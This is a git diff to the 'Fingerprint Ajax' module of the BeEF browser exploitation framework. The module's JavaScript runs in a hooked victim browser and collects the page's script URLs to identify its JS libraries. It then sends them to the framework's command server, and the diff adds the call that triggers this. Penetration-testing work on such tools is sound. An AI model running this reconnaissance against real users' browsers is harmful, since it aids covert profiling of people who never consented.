diff --git a/modules/host/ajax_fingerprint/command.js b/modules/host/ajax_fingerprint/command.js index cedc734ea..ccb2bf83c 100644 --- a/modules/host/ajax_fingerprint/command.js +++ b/modules/host/ajax_fingerprint/command.js @@ -42,19 +42,20 @@ beef.execute(function() { "GWT": new Array("gwt","search-results"), "Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"), "jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"), - "ExtJS":new Array("ext-all"), - "Prettify":new Array("prettify"), + "ExtJS":new Array("ext-all"), + "Prettify":new Array("prettify"), "Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"), - "Google JS Libs":new Array("xpath","urchin","ga"), - "Libxmlrequest":new Array("libxmlrequest"), - "jx":new Array ("jx","jxs"), - "bajax":new Array("bajax"), - "AJS": new Array ("AJS","AJS_fx"), - "Greybox":new Array("gb_scripts.js"), - "Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"), + "Google JS Libs":new Array("xpath","urchin","ga"), + "Libxmlrequest":new Array("libxmlrequest"), + "jx":new Array ("jx","jxs"), + "bajax":new Array("bajax"), + "AJS": new Array ("AJS","AJS_fx"), + "Greybox":new Array("gb_scripts.js"), + "Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"), - }; - function fp() { + }; + + function fp() { try{ var sc = document.scripts; var urls =""; @@ -89,5 +90,7 @@ beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString()); } } + fp(); + }); diff --git a/modules/host/ajax_fingerprint/config.yaml b/modules/host/ajax_fingerprint/config.yaml index 36c0dc0d2..186113432 100644 --- a/modules/host/ajax_fingerprint/config.yaml +++ b/modules/host/ajax_fingerprint/config.yaml @@ -17,12 +17,11 @@ beef: module: ajax_fingerprint: enable: true - category: "Browser" + category: "Host" name: "Fingerprint Ajax" - description: "Fingerprint Ajax and JS libraries present" + description: "Fingerprint Ajax and JS libraries present on the hooked page." authors: ["qswain"] target: working: ["FF","S"] not_working: ["C"] - diff --git a/modules/host/ajax_fingerprint/module.rb b/modules/host/ajax_fingerprint/module.rb index 60232d3a7..279cccf47 100644 --- a/modules/host/ajax_fingerprint/module.rb +++ b/modules/host/ajax_fingerprint/module.rb @@ -15,9 +15,7 @@ class Ajax_fingerprint < BeEF::Core::Command - def post_execute - puts 'Post' content = {} content['script_urls'] = @datastore['script_urls'] if not @datastore['script_urls'].nil? if content.empty? @@ -25,4 +23,5 @@ class Ajax_fingerprint < BeEF::Core::Command end save content end + end